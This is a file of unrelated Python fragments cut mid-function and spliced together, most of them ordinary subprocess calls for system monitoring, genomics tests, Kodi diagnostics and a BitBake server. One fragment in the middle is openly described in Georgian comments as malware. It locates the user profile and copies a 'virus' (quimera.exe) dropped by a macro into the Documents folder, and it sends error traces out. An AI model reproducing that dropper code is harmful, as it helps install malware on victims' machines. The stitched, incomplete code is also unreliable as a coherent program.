if (validMeasNo > 0):
tempForLog = accTemp / validMeasNo
humForLog = accHum / validMeasNo
else:
tempForLog = 255
humForLog = 255
try:
pipeout = open(fifoname,'w')
try:
msgString = ('%.1f; %.1f; %03d; %02d; %02d\n' %(tempForLog, humForLog, queueTime.size(), validMeasNo, totalMeasNo))
#os.write(pipeout,msgString).encode()
pipeout.write(msgString).encode()
pipeout.close()
#os.close(pipeout)
except:
logging.error ("pushQueue: can't write string %s" %(msgString))
except:
logging.error ("pushQueue: can't open file: %s" %(fifoname))
queueTemperatur.enqueue ("%.1f" % (tempForLog))
queueHumidity.enqueue ("%.1f" % (humForLog))
queueDebugData.enqueue ("%03d; %02d; %02d" %(queueTime.size(), validMeasNo, totalMeasNo ))
queueLock = False
logging.warning ("pushQueue: Push sensor reading into Queue - Queue element: %d; Date/time: %s; Temp: %.1f C; Hum: %.1f %%" % (queueTime.size(), dateTimeStamp.strftime("%Y-%m-%d %H:%M:%S"), tempForLog, humForLog))
pushQueueActive = False
else:
logging.warning ("pushQueue: Skipped because is already running")
def getListeningPorts(self):
outFile = open(settings.NETSTAT_NEW, "w+")
netstat = subprocess.check_output([misc_config.ADB_PATH, "shell", "netstat -lntu"])
outFile.write(netstat)
outFile.close()
def whoami():
output = subprocess.check_output(['whoami'])
return output
def assertOutput(self, cmd, output, partial=None, negate=None):
'''Compare the output of cmd to either a string output, a list of strings, or content of
output file (if output is a filename). cmd can be either a command (string) or a list of commands,
with output joint together in the latter case. The output of the command will be converted to
a list (split by newline) if output is a list.
If parameter partial is given,
a) positive number: texts are split into lines and compares the first partial lines ([:partial]),
b) negative number: texts are split into lines and compares the last few lines ([partial:])
c) a lambda function: texts are split into lines and compare the results returned after
applying the lambda function
d) True: if output is a substring of cmd (output in cmd)
if negate is True, test for negative assertaion (e.g. not equal, not include etc)
NOTE: if output is a file (with pattern output/*) and the file does not exist, this
function will write command output to it with a warning message. This greatly simplies
the writing of test functions. Make sure to check if the output is correct though.
'''
#
with open(os.devnull, 'w') as fnull:
if isinstance(cmd, str):
cmd_output = subprocess.check_output(cmd,
stderr=fnull,
env=test_env,
shell=True).decode()
else:
cmd_output = '\n'.join([
subprocess.check_output(c,
stderr=fnull,
env=test_env,
shell=True).decode() for c in cmd
])
if isinstance(output, list):
cmd_output = cmd_output.strip().split('\n')
with open(self.test_command + '.log', 'a') as fcmd:
if isinstance(output, list):
fcmd.write('# expect output is a list of {}\n'.format(
', '.join(output)))
elif output.startswith('output/'):
fcmd.write(
'# expect output in {} with first 10 lines\n'.format(
output))
if os.path.isfile(output):
with open(output, 'r') as cf:
output = cf.read()
fcmd.write('# ' +
'\n# '.join(output.split('\n')[:10]) + '\n')
else:
print(
'\033[32mWARNING: output file {} does not exist and has just been created.\033[0m'
.format(output))
with open(output, 'w') as cf:
cf.write(cmd_output)
output = cmd_output
else:
fcmd.write('# expect output {} \n'.format('\n#'.join(
output.strip().split('\n'))))
if isinstance(cmd, str):
fcmd.write(cmd + '\n')
else:
fcmd.write('\n'.join(cmd) + '\n')
#
self.compare(cmd_output, output, partial, negate=negate)
def getProcessList(self):
# Custom: Get process list after analysis
outFile = open(settings.PLIST_NEW, "w+")
processList = subprocess.check_output([misc_config.ADB_PATH, "shell", "ps"])
outFile.write(processList)
outFile.close()
def run(cmd):
log = 'file: {0}\n\n'.format(cmd)
log += check_output('{0} | tail -100 || true'.format(cmd), shell=True)
return log
def assertProj(self,
numOfSamples=None,
numOfVariants=None,
numOfGenotype=None,
sampleNames=None,
numOfColumns=None,
info=None,
genotype=None,
genoInfo=None,
hasTable=None,
tableDesc=None,
partial=None,
negate=None):
'''Check properties of project
numOfSamples:
number of samples in the project
numOfVariants:
if a single number is given, assert number of variants in the master variant table.
Otherwise a dictionary with table name and expected number of variants is checked.
sampleNames:
compare sample names with provided list
numOfColumns:
Compare number of columns of a table. If a number is given, it is assumed to be the
'variant' table. Otherwise a dictionary with tablename and expected number of columns
should be provided.
info:
Compare variant info with specified list. This parameter should be a dictionary
with name of info as key.
numOfGenotype:
Compare number of genotype in specified sample. The parameter should be a dictionary
with sample_id as keys.
genotype:
Compare genotype with a provided list. This parameter should be a dictionary with
sample_id: genotype.
genoInfo:
Compare genotype info with a provided list. This parameter should be a dictionary
with key (sample_id, geno_info_name): geno_info.
hasTable:
If the project has the specified table(s). hasTable should be a string or a list of
strings.
tableDesc:
Compare the description of the table. tableDesc should be dictionary with table name
as key.
partial:
partial can be True (if specified item is a subset of output list), positive integer
(compare the first few items), negative number (compare the last few items), or
a lambda function (compare result of function call).
negate:
If set to True, reverse the test (e.g. assert not equal, not include etc)
'''
if numOfSamples is not None:
with open(os.devnull, 'w') as fnull:
proj_num_of_sample = subprocess.check_output(
'vtools execute "SELECT COUNT(1) FROM sample"',
shell=True,
stderr=fnull).decode()
if negate:
self.assertNotEqual(int(proj_num_of_sample), numOfSamples)
else:
self.assertEqual(int(proj_num_of_sample), numOfSamples)
if numOfVariants is not None:
with open(os.devnull, 'w') as fnull:
if isinstance(numOfVariants, int):
proj_num_of_variants = subprocess.check_output(
'vtools execute "SELECT COUNT(1) FROM variant"',
shell=True,
stderr=fnull).decode()
if negate:
self.assertNotEqual(int(proj_num_of_variants),
numOfVariants)
else:
self.assertEqual(int(proj_num_of_variants),
numOfVariants)
else:
for table, number in numOfVariants.items():
proj_num_of_variants = subprocess.check_output(
'vtools execute "SELECT COUNT(1) FROM {}"'.format(
table),
shell=True,
stderr=fnull).decode()
if negate:
self.assertNotEqual(int(proj_num_of_variants),
number)
else:
self.assertEqual(int(proj_num_of_variants), number)
if sampleNames is not None:
with open(os.devnull, 'w') as fnull:
sample_names = subprocess.check_output(
'vtools execute "SELECT sample_name FROM sample"',
shell=True,
stderr=fnull).decode().strip().split('\n')
self.compare(sorted([x.strip() for x in sample_names]),
sorted([x.strip() for x in sampleNames]),
partial=partial,
negate=negate)
if numOfColumns is not None:
with open(os.devnull, 'w') as fnull:
if isinstance(numOfColumns, int):
proj_num_of_columns = len(
subprocess.check_output(
'vtools execute "PRAGMA table_info(variant)"',
shell=True,
stderr=fnull).decode().strip().split('\n'))
if negate:
self.assertNotEqual(proj_num_of_columns, numOfColumns)
else:
self.assertEqual(proj_num_of_columns, numOfColumns)
else:
for table, number in numOfColumns.items():
proj_num_of_columns = len(
subprocess.check_output(
'vtools execute "PRAGMA table_info({})"'.
format(table),
shell=True,
stderr=fnull).decode().strip().split('\n'))
if negate:
self.assertNotEqual(proj_num_of_columns, number)
else:
self.assertEqual(proj_num_of_columns, number)
if info is not None:
with open(os.devnull, 'w') as fnull:
for field, values in info.items():
proj_values = subprocess.check_output(
'vtools execute "SELECT {} FROM variant"'.format(
field),
shell=True,
stderr=fnull).decode()
self.compare(
[x.strip() for x in proj_values.strip().split('\n')],
list(values),
partial=partial,
negate=negate)
if numOfGenotype is not None:
with open(os.devnull, 'w') as fnull:
for table, numGeno in numOfGenotype.items():
print(table, numGeno)
if self.storeMode == "sqlite":
proj_num_geno = subprocess.check_output(
'vtools execute "SELECT count(*) FROM genotype_{}"'
.format(table),
shell=True,
stderr=fnull).decode()
elif self.storeMode == "hdf5":
fileResult = subprocess.check_output(
'vtools execute "SELECT HDF5 FROM sample WHERE sample_id ={}"'
.format(table),
shell=True,
stderr=fnull).decode()
HDF5FileName = fileResult.rstrip()
storageEngine = Engine_Storage.choose_storage_engine(
HDF5FileName)
proj_geno, numCount = storageEngine.num_variants(table)
proj_num_geno = proj_geno
if negate:
self.assertNotEqual(int(proj_num_geno), numGeno)
else:
self.assertEqual(int(proj_num_geno), numGeno)
if genotype is not None:
with open(os.devnull, 'w') as fnull:
for table, geno in genotype.items():
if self.storeMode == "sqlite":
proj_geno = subprocess.check_output(
'vtools execute "SELECT GT FROM genotype_{}"'.
format(table),
shell=True,
stderr=fnull).decode()
self.compare([
int(x.strip())
for x in proj_geno.strip().split('\n')
],
list([int(x) for x in geno]),
partial=partial,
negate=negate)
elif self.storeMode == "hdf5":
fileResult = subprocess.check_output(
'vtools execute "SELECT HDF5 FROM sample WHERE sample_id ={}"'
.format(table),
shell=True,
stderr=fnull).decode()
HDF5FileName = fileResult.rstrip()
accessEngine = Engine_Access.choose_access_engine(
HDF5FileName)
# proj_geno=accessEngine.get_geno_by_sample_ID(table,"GT_geno")
proj_geno = []
for rownames, colnames, genoinfo in accessEngine.get_all_genotype(
[table]):
for idx, rowname in enumerate(rownames):
genotype = genoinfo[idx]
if np.isnan(genotype):
genotype = -1
proj_geno.append([rowname, genotype])
proj_geno = np.array(proj_geno)
self.compare([int(x[1]) for x in proj_geno],
list([int(x) for x in geno]),
partial=partial,
negate=negate)
if genoInfo is not None:
with open(os.devnull, 'w') as fnull:
for table, geno in genoInfo.items():
if self.storeMode == "sqlite":
proj_geno = subprocess.check_output(
'vtools execute "SELECT {} FROM genotype_{}"'.
format(table[1], table[0]),
shell=True,
stderr=fnull).decode()
self.compare(
[x.strip() for x in proj_geno.strip().split('\n')],
list(geno),
partial=partial,
negate=negate)
elif self.storeMode == "hdf5":
fileResult = subprocess.check_output(
'vtools execute "SELECT HDF5 FROM sample WHERE sample_id ={}"'
.format(table[0]),
shell=True,
stderr=fnull).decode()
HDF5FileName = fileResult.rstrip()
accessEngine = Engine_Access.choose_access_engine(
HDF5FileName)
# proj_geno=accessEngine.get_geno_by_sample_ID(table[0],table[1])
proj_geno = []
for rownames, colnames, genoinfo in accessEngine.get_all_genotype(
[table[0]]):
for idx, rowname in enumerate(rownames):
genotype = genoinfo[idx]
if np.isnan(genotype):
genotype = -1
proj_geno.append([rowname, genotype])
proj_geno = np.array(proj_geno)
self.compare([int(x[1]) for x in proj_geno],
list([int(x) for x in geno]),
partial=partial,
negate=negate)
if hasTable is not None:
with open(os.devnull, 'w') as fnull:
proj_tables = subprocess.check_output(
'vtools show tables -v0',
shell=True).decode().strip().split('\n')
if isinstance(hasTable, list):
for table in hasTable:
if negate:
self.assertFalse(table in proj_tables)
else:
self.assertTrue(table in proj_tables)
else:
if negate:
self.assertFalse(hasTable in proj_tables)
else:
self.assertTrue(hasTable in proj_tables)
if tableDesc is not None:
with open(os.devnull, 'w') as fnull:
for table, desc in tableDesc.items():
proj_table_desc = subprocess.check_output(
"vtools show table '{}'".format(table),
shell=True,
stderr=fnull).decode()
proj_table_desc = proj_table_desc.strip().split(
'\n')[1].split(':', 1)[-1].strip()
self.compare(proj_table_desc,
desc,
partial=partial,
negate=negate)
# Alternatively load a TTF font. Make sure the .ttf font file is in the same directory as the python script!
# Some other nice fonts to try: http://www.dafont.com/bitmap.php
font = ImageFont.truetype('Montserrat-Light.ttf', 12)
font2 = ImageFont.truetype('fontawesome-webfont.ttf', 14)
font_icon_big = ImageFont.truetype('fontawesome-webfont.ttf', 20)
font_text_big = ImageFont.truetype('Montserrat-Medium.ttf', 19)
while True:
# Draw a black filled box to clear the image.
draw.rectangle((0,0,width,height), outline=0, fill=0)
# Shell scripts for system monitoring from here : https://unix.stackexchange.com/questions/119126/command-to-display-memory-usage-disk-usage-and-cpu-load
cmd = "hostname -I | cut -d\' \' -f1 | head --bytes -1"
IP = subprocess.check_output(cmd, shell = True )
cmd = "top -bn1 | grep load | awk '{printf \"%.2f\", $(NF-2)}'"
CPU = subprocess.check_output(cmd, shell = True )
cmd = "free -m | awk 'NR==2{printf \"MEM: %.2f%%\", $3*100/$2 }'"
MemUsage = subprocess.check_output(cmd, shell = True )
cmd = "df -h | awk '$NF==\"/\"{printf \"HDD: %d/%dGB %s\", $3,$2,$5}'"
cmd = "df -h | awk '$NF==\"/\"{printf \"%s\", $5}'"
Disk = subprocess.check_output(cmd, shell = True )
cmd = "vcgencmd measure_temp | cut -d '=' -f 2 | head --bytes -1"
Temperature = subprocess.check_output(cmd, shell = True )
# Icons
draw.text((x, top), unichr(61931), font=font2, fill=255)
draw.text((x+50, top+52), unichr(61888), font=font2, fill=255)
draw.text((x, top+52), unichr(62152), font=font2, fill=255)
draw.text((x, top+15), unichr(62171), font=font_icon_big, fill=255)
def convert_to_wav(src,dest,ffmpeg_path,sr):
if os.path.exists(dest):
return
conversion_command = r'%s -hide_banner -loglevel warning -i %s -ar %d %s' % (ffmpeg_path,src,sr,dest)
subprocess.check_output(conversion_command.split(' '))
def is_cygwingcc():
"""Try to determine if the gcc that would be used is from cygwin."""
out_string = check_output(["gcc", "-dumpmachine"])
return out_string.strip().endswith(b"cygwin")
trace = "\t\t\tmain funqciashi gamonaklisi moxda\n\n" + traceback.format_exc(
)
send(trace)
if __name__ == '__main__':
sys.stderr = sys.stdout
'''erorebi ubralod daibewdeba am shemtxvevashi
arc py2exe dalogavs da arc shetyobineba amoxdeba. amasviyenebt radgan failis gadmowerashi mititebuli
gvaqvs sertipikatebis (ssl) ara verificireba radgan sheidzleba problema sheiqmnes da ar moxdes failis
gadmowera an gagzavna'''
# vad gent user profiles rom swored mis profilshi chavagdot virusi da maze movqmedebdet
# aseve kidev erti gza direqtoriis migebis gaxlavt shemdegibrdzaneba os.getenv('userprofile')
Null, userprof = subprocess.check_output('set USERPROFILE',
shell=True).split("=")
path = userprof.strip(
"\n\r"
) + '\\AppData\\Roaming\\q\\' + 'quimera.exe' # im misamartis adgili sadac macrom chawera virusi
destination = userprof.strip(
"\n\r"
) + '\\Documents\\quimera\\' + 'quimera.exe' # chveni virusis gadatanis adgil mdebareoba
# pirveli faza
if not os.path.exists(
destination
): # tu ar arsebobs faili eseigi jer ar momxdara chveni virusis kopireba
# mimartul adgilas rac imas nishnavs rom pirveli fazaa (exla gaushva macro)
os.mkdir(os.path.dirname(
destination)) # folderis sheqmna sadac chavakopirebt chvens virus
def exec(cmd):
"""Execute given command"""
return subprocess.check_output(cmd).decode().strip()
def get_environment():
"""
Devuelve las variables de entorno del OS, de Kodi y de Alfa más habituales,
necesarias para el diagnóstico de fallos
"""
try:
import base64
import ast
environment = config.get_platform(full_version=True)
environment['num_version'] = str(environment['num_version'])
environment['python_version'] = str(platform.python_version())
environment['os_release'] = str(platform.release())
if xbmc.getCondVisibility("system.platform.Windows"):
try:
if platform._syscmd_ver()[2]:
environment['os_release'] = str(platform._syscmd_ver()[2])
except:
pass
environment['prod_model'] = ''
if xbmc.getCondVisibility("system.platform.Android"):
environment['os_name'] = 'Android'
try:
for label_a in subprocess.check_output('getprop').split('\n'):
if 'build.version.release' in label_a:
environment['os_release'] = str(
scrapertools.find_single_match(
label_a, ':\s*\[(.*?)\]$'))
if 'product.model' in label_a:
environment['prod_model'] = str(
scrapertools.find_single_match(
label_a, ':\s*\[(.*?)\]$'))
except:
try:
for label_a in filetools.read(os.environ['ANDROID_ROOT'] +
'/build.prop').split():
if 'build.version.release' in label_a:
environment['os_release'] = str(
scrapertools.find_single_match(
label_a, '=(.*?)$'))
if 'product.model' in label_a:
environment['prod_model'] = str(
scrapertools.find_single_match(
label_a, '=(.*?)$'))
except:
pass
elif xbmc.getCondVisibility("system.platform.Linux.RaspberryPi"):
environment['os_name'] = 'RaspberryPi'
else:
environment['os_name'] = str(platform.system())
environment['machine'] = str(platform.machine())
environment['architecture'] = str(sys.maxsize > 2**32 and "64-bit"
or "32-bit")
environment['language'] = str(xbmc.getInfoLabel('System.Language'))
environment['cpu_usage'] = str(xbmc.getInfoLabel('System.CpuUsage'))
environment['mem_total'] = str(
xbmc.getInfoLabel('System.Memory(total)')).replace('MB',
'').replace(
'KB', '')
environment['mem_free'] = str(
xbmc.getInfoLabel('System.Memory(free)')).replace('MB',
'').replace(
'KB', '')
if not environment['mem_total'] or not environment['mem_free']:
try:
if environment['os_name'].lower() == 'windows':
kernel32 = ctypes.windll.kernel32
c_ulong = ctypes.c_ulong
c_ulonglong = ctypes.c_ulonglong
class MEMORYSTATUS(ctypes.Structure):
_fields_ = [('dwLength', c_ulong),
('dwMemoryLoad', c_ulong),
('dwTotalPhys', c_ulonglong),
('dwAvailPhys', c_ulonglong),
('dwTotalPageFile', c_ulonglong),
('dwAvailPageFile', c_ulonglong),
('dwTotalVirtual', c_ulonglong),
('dwAvailVirtual', c_ulonglong),
('availExtendedVirtual', c_ulonglong)]
memoryStatus = MEMORYSTATUS()
memoryStatus.dwLength = ctypes.sizeof(MEMORYSTATUS)
kernel32.GlobalMemoryStatus(ctypes.byref(memoryStatus))
environment['mem_total'] = str(
int(memoryStatus.dwTotalPhys) / (1024**2))
environment['mem_free'] = str(
int(memoryStatus.dwAvailPhys) / (1024**2))
else:
with open('/proc/meminfo') as f:
meminfo = f.read()
environment['mem_total'] = str(
int(
re.search(r'MemTotal:\s+(\d+)',
meminfo).groups()[0]) / 1024)
environment['mem_free'] = str(
int(
re.search(r'MemAvailable:\s+(\d+)',
meminfo).groups()[0]) / 1024)
except:
environment['mem_total'] = ''
environment['mem_free'] = ''
try:
environment['kodi_buffer'] = '20'
environment['kodi_bmode'] = '0'
environment['kodi_rfactor'] = '4.0'
if filetools.exists(
filetools.join(xbmc.translatePath("special://userdata"),
"advancedsettings.xml")):
advancedsettings = filetools.read(
filetools.join(xbmc.translatePath("special://userdata"),
"advancedsettings.xml")).split('\n')
for label_a in advancedsettings:
if 'memorysize' in label_a:
environment['kodi_buffer'] = str(
int(
scrapertools.find_single_match(
label_a, '>(\d+)<\/')) / 1024**2)
if 'buffermode' in label_a:
environment['kodi_bmode'] = str(
scrapertools.find_single_match(
label_a, '>(\d+)<\/'))
if 'readfactor' in label_a:
environment['kodi_rfactor'] = str(
scrapertools.find_single_match(
label_a, '>(.*?)<\/'))
except:
pass
environment['userdata_path'] = str(
xbmc.translatePath(config.get_data_path()))
try:
if environment['os_name'].lower() == 'windows':
free_bytes = ctypes.c_ulonglong(0)
ctypes.windll.kernel32.GetDiskFreeSpaceExW(
ctypes.c_wchar_p(environment['userdata_path']), None, None,
ctypes.pointer(free_bytes))
environment['userdata_free'] = str(
round(float(free_bytes.value) / (1024**3), 3))
else:
disk_space = os.statvfs(environment['userdata_path'])
if not disk_space.f_frsize:
disk_space.f_frsize = disk_space.f_frsize.f_bsize
environment['userdata_free'] = str(round((float(disk_space.f_bavail) / \
(1024**3)) * float(disk_space.f_frsize), 3))
except:
environment['userdata_free'] = '?'
try:
environment['videolab_series'] = '?'
environment['videolab_episodios'] = '?'
environment['videolab_pelis'] = '?'
environment['videolab_path'] = str(
xbmc.translatePath(config.get_videolibrary_path()))
if filetools.exists(filetools.join(environment['videolab_path'], \
config.get_setting("folder_tvshows"))):
environment['videolab_series'] = str(len(filetools.listdir(filetools.join(environment['videolab_path'], \
config.get_setting("folder_tvshows")))))
counter = 0
for root, folders, files in filetools.walk(filetools.join(environment['videolab_path'], \
config.get_setting("folder_tvshows"))):
for file in files:
if file.endswith('.strm'): counter += 1
environment['videolab_episodios'] = str(counter)
if filetools.exists(filetools.join(environment['videolab_path'], \
config.get_setting("folder_movies"))):
environment['videolab_pelis'] = str(len(filetools.listdir(filetools.join(environment['videolab_path'], \
config.get_setting("folder_movies")))))
except:
pass
try:
video_updates = ['No', 'Inicio', 'Una vez', 'Inicio+Una vez']
environment['videolab_update'] = str(
video_updates[config.get_setting("update", "videolibrary")])
except:
environment['videolab_update'] = '?'
try:
if environment['os_name'].lower() == 'windows':
free_bytes = ctypes.c_ulonglong(0)
ctypes.windll.kernel32.GetDiskFreeSpaceExW(
ctypes.c_wchar_p(environment['videolab_path']), None, None,
ctypes.pointer(free_bytes))
environment['videolab_free'] = str(
round(float(free_bytes.value) / (1024**3), 3))
else:
disk_space = os.statvfs(environment['videolab_path'])
if not disk_space.f_frsize:
disk_space.f_frsize = disk_space.f_frsize.f_bsize
environment['videolab_free'] = str(round((float(disk_space.f_bavail) / \
(1024**3)) * float(disk_space.f_frsize), 3))
except:
environment['videolab_free'] = '?'
environment['torrentcli_name'] = ''
environment['torrentcli_dload_path'] = ''
environment['torrentcli_buffer'] = ''
environment['torrentcli_dload_estrgy'] = ''
environment['torrentcli_mem_size'] = ''
environment['torrentcli_free'] = ''
if config.get_setting("torrent_client", server="torrent") == 4:
__settings__ = xbmcaddon.Addon(id="plugin.video.torrenter")
environment['torrentcli_name'] = 'Torrenter'
environment['torrentcli_dload_path'] = str(
xbmc.translatePath(__settings__.getSetting('storage')))
environment['torrentcli_buffer'] = str(
__settings__.getSetting('pre_buffer_bytes'))
elif config.get_setting("torrent_client", server="torrent") == 3:
for client_torrent in ['quasar', 'elementum']:
if xbmc.getCondVisibility(
'System.HasAddon("plugin.video.%s" )' %
client_torrent):
__settings__ = xbmcaddon.Addon(id="plugin.video.%s" %
client_torrent)
environment['torrentcli_name'] = str(client_torrent)
environment['torrentcli_dload_path'] = str(
xbmc.translatePath(
__settings__.getSetting('download_path')))
environment['torrentcli_buffer'] = str(
__settings__.getSetting('buffer_size'))
environment['torrentcli_dload_estrgy'] = str(
__settings__.getSetting('download_storage'))
environment['torrentcli_mem_size'] = str(
__settings__.getSetting('memory_size'))
if environment['torrentcli_dload_path']:
try:
if environment['os_name'].lower() == 'windows':
free_bytes = ctypes.c_ulonglong(0)
ctypes.windll.kernel32.GetDiskFreeSpaceExW(
ctypes.c_wchar_p(environment['torrentcli_dload_path']),
None, None, ctypes.pointer(free_bytes))
environment['torrentcli_free'] = str(round(float(free_bytes.value) / \
(1024**3), 3))
else:
disk_space = os.statvfs(
environment['torrentcli_dload_path'])
if not disk_space.f_frsize:
disk_space.f_frsize = disk_space.f_frsize.f_bsize
environment['torrentcli_free'] = str(round((float(disk_space.f_bavail) / \
(1024**3)) * float(disk_space.f_frsize), 3))
except:
environment['torrentcli_free'] = '?'
environment['proxy_active'] = ''
try:
proxy_channel_bloqued_str = base64.b64decode(
config.get_setting('proxy_channel_bloqued')).decode('utf-8')
proxy_channel_bloqued = dict()
proxy_channel_bloqued = ast.literal_eval(proxy_channel_bloqued_str)
for channel_bloqued, proxy_active in proxy_channel_bloqued.items():
if proxy_active == 'ON':
environment['proxy_active'] += channel_bloqued + ', '
except:
pass
if not environment['proxy_active']: environment['proxy_active'] = 'OFF'
environment['proxy_active'] = environment['proxy_active'].rstrip(', ')
for root, folders, files in filetools.walk(
xbmc.translatePath("special://logpath/")):
for file in files:
if file.lower() in ['kodi.log', 'jarvis.log', 'spmc.log', 'cemc.log', \
'mygica.log', 'wonderbox.log', 'leiapp,log', \
'leianmc.log', 'kodiapp.log', 'anmc.log', \
'latin-anmc.log']:
environment['log_path'] = str(filetools.join(root, file))
break
else:
environment['log_path'] = ''
break
if environment['log_path']:
environment['log_size_bytes'] = str(
filetools.getsize(environment['log_path']))
environment['log_size'] = str(round(float(environment['log_size_bytes']) / \
(1024*1024), 3))
else:
environment['log_size_bytes'] = ''
environment['log_size'] = ''
environment['debug'] = str(config.get_setting('debug'))
environment['addon_version'] = str(config.get_addon_version())
except:
logger.error(traceback.format_exc())
environment = {}
environment['log_size'] = ''
environment['cpu_usage'] = ''
environment['python_version'] = ''
environment['log_path'] = ''
environment['userdata_free'] = ''
environment['mem_total'] = ''
environment['torrentcli_mem_size'] = ''
environment['torrentcli_dload_path'] = ''
environment['torrentcli_dload_estrgy'] = ''
environment['machine'] = ''
environment['platform'] = ''
environment['torrentcli_buffer'] = ''
environment['videolab_path'] = ''
environment['num_version'] = ''
environment['os_name'] = ''
environment['torrentcli_free'] = ''
environment['video_db'] = ''
environment['userdata_path'] = ''
environment['log_size_bytes'] = ''
environment['name_version'] = ''
environment['language'] = ''
environment['mem_free'] = ''
environment['prod_model'] = ''
environment['proxy_active'] = ''
environment['architecture'] = ''
environment['os_release'] = ''
environment['videolab_free'] = ''
environment['torrentcli_name'] = ''
environment['kodi_buffer'] = ''
environment['kodi_bmode'] = ''
environment['kodi_rfactor'] = ''
environment['videolab_series'] = ''
environment['videolab_episodios'] = ''
environment['videolab_pelis'] = ''
environment['videolab_update'] = ''
environment['debug'] = ''
environment['addon_version'] = ''
return environment
def main(self):
self.cooker.pre_serve()
bb.utils.set_process_name("Cooker")
ready = []
newconnections = []
self.controllersock = False
fds = [self.sock]
if self.xmlrpc:
fds.append(self.xmlrpc)
seendata = False
serverlog("Entering server connection loop")
def disconnect_client(self, fds):
serverlog("Disconnecting Client")
if self.controllersock:
fds.remove(self.controllersock)
self.controllersock.close()
self.controllersock = False
if self.haveui:
fds.remove(self.command_channel)
bb.event.unregister_UIHhandler(self.event_handle, True)
self.command_channel_reply.writer.close()
self.event_writer.writer.close()
self.command_channel.close()
self.command_channel = False
del self.event_writer
self.lastui = time.time()
self.cooker.clientComplete()
self.haveui = False
ready = select.select(fds,[],[],0)[0]
if newconnections:
serverlog("Starting new client")
conn = newconnections.pop(-1)
fds.append(conn)
self.controllersock = conn
elif self.timeout is None and not ready:
serverlog("No timeout, exiting.")
self.quit = True
self.lastui = time.time()
while not self.quit:
if self.sock in ready:
while select.select([self.sock],[],[],0)[0]:
controllersock, address = self.sock.accept()
if self.controllersock:
serverlog("Queuing %s (%s)" % (str(ready), str(newconnections)))
newconnections.append(controllersock)
else:
serverlog("Accepting %s (%s)" % (str(ready), str(newconnections)))
self.controllersock = controllersock
fds.append(controllersock)
if self.controllersock in ready:
try:
serverlog("Processing Client")
ui_fds = recvfds(self.controllersock, 3)
serverlog("Connecting Client")
# Where to write events to
writer = ConnectionWriter(ui_fds[0])
self.event_handle = bb.event.register_UIHhandler(writer, True)
self.event_writer = writer
# Where to read commands from
reader = ConnectionReader(ui_fds[1])
fds.append(reader)
self.command_channel = reader
# Where to send command return values to
writer = ConnectionWriter(ui_fds[2])
self.command_channel_reply = writer
self.haveui = True
self.hadanyui = True
except (EOFError, OSError):
disconnect_client(self, fds)
if not self.timeout == -1.0 and not self.haveui and self.timeout and \
(self.lastui + self.timeout) < time.time():
serverlog("Server timeout, exiting.")
self.quit = True
# If we don't see a UI connection within maxuiwait, its unlikely we're going to see
# one. We have had issue with processes hanging indefinitely so timing out UI-less
# servers is useful.
if not self.hadanyui and not self.xmlrpc and not self.timeout and (self.lastui + self.maxuiwait) < time.time():
serverlog("No UI connection within max timeout, exiting to avoid infinite loop.")
self.quit = True
if self.command_channel in ready:
try:
command = self.command_channel.get()
except EOFError:
# Client connection shutting down
ready = []
disconnect_client(self, fds)
continue
if command[0] == "terminateServer":
self.quit = True
continue
try:
serverlog("Running command %s" % command)
self.command_channel_reply.send(self.cooker.command.runCommand(command))
serverlog("Command Completed")
except Exception as e:
serverlog('Exception in server main event loop running command %s (%s)' % (command, str(e)))
logger.exception('Exception in server main event loop running command %s (%s)' % (command, str(e)))
if self.xmlrpc in ready:
self.xmlrpc.handle_requests()
if not seendata and hasattr(self.cooker, "data"):
heartbeat_event = self.cooker.data.getVar('BB_HEARTBEAT_EVENT')
if heartbeat_event:
try:
self.heartbeat_seconds = float(heartbeat_event)
except:
bb.warn('Ignoring invalid BB_HEARTBEAT_EVENT=%s, must be a float specifying seconds.' % heartbeat_event)
self.timeout = self.server_timeout or self.cooker.data.getVar('BB_SERVER_TIMEOUT')
try:
if self.timeout:
self.timeout = float(self.timeout)
except:
bb.warn('Ignoring invalid BB_SERVER_TIMEOUT=%s, must be a float specifying seconds.' % self.timeout)
seendata = True
ready = self.idle_commands(.1, fds)
if len(threading.enumerate()) != 1:
serverlog("More than one thread left?: " + str(threading.enumerate()))
serverlog("Exiting")
# Remove the socket file so we don't get any more connections to avoid races
try:
os.unlink(self.sockname)
except:
pass
self.sock.close()
try:
self.cooker.shutdown(True)
self.cooker.notifier.stop()
self.cooker.confignotifier.stop()
except:
pass
self.cooker.post_serve()
# Flush logs before we release the lock
sys.stdout.flush()
sys.stderr.flush()
# Finally release the lockfile but warn about other processes holding it open
lock = self.bitbake_lock
lockfile = self.bitbake_lock_name
def get_lock_contents(lockfile):
try:
with open(lockfile, "r") as f:
return f.readlines()
except FileNotFoundError:
return None
lockcontents = get_lock_contents(lockfile)
serverlog("Original lockfile contents: " + str(lockcontents))
lock.close()
lock = None
while not lock:
i = 0
lock = None
while not lock and i < 30:
lock = bb.utils.lockfile(lockfile, shared=False, retry=False, block=False)
if not lock:
newlockcontents = get_lock_contents(lockfile)
if newlockcontents != lockcontents:
# A new server was started, the lockfile contents changed, we can exit
serverlog("Lockfile now contains different contents, exiting: " + str(newlockcontents))
return
time.sleep(0.1)
i += 1
if lock:
# We hold the lock so we can remove the file (hide stale pid data)
# via unlockfile.
bb.utils.unlockfile(lock)
serverlog("Exiting as we could obtain the lock")
return
if not lock:
# Some systems may not have lsof available
procs = None
try:
procs = subprocess.check_output(["lsof", '-w', lockfile], stderr=subprocess.STDOUT)
except subprocess.CalledProcessError:
# File was deleted?
continue
except OSError as e:
if e.errno != errno.ENOENT:
raise
if procs is None:
# Fall back to fuser if lsof is unavailable
try:
procs = subprocess.check_output(["fuser", '-v', lockfile], stderr=subprocess.STDOUT)
except subprocess.CalledProcessError:
# File was deleted?
continue
except OSError as e:
if e.errno != errno.ENOENT:
raise
msg = "Delaying shutdown due to active processes which appear to be holding bitbake.lock"
if procs:
msg += ":\n%s" % str(procs.decode("utf-8"))
serverlog(msg)
def env(request):
"""Return the environment configured in the supplied configuration file.
It contains the targets contained in the configuration file.
"""
env_config = request.config.option.env_config
lg_env = request.config.option.lg_env
lg_coordinator = request.config.option.lg_coordinator
if lg_env is None:
if env_config is not None:
request.config.warn(
'LG-C1',
"deprecated option --env-config (use --lg-env instead)",
__file__)
lg_env = env_config
if lg_env is None:
pytest.skip("missing environment config (use --lg-env)")
env = Environment(config_file=lg_env)
if lg_coordinator is not None:
env.config.set_option('crossbar_url', lg_coordinator)
if pytest.config.pluginmanager.hasplugin('junitxml'):
my_junit = getattr(pytest.config, '_xml', None)
if my_junit:
my_junit.add_global_property('ENV_CONFIG', env.config_file)
targets = list(env.config.get_targets().keys())
my_junit.add_global_property('TARGETS', targets)
for target_name in targets:
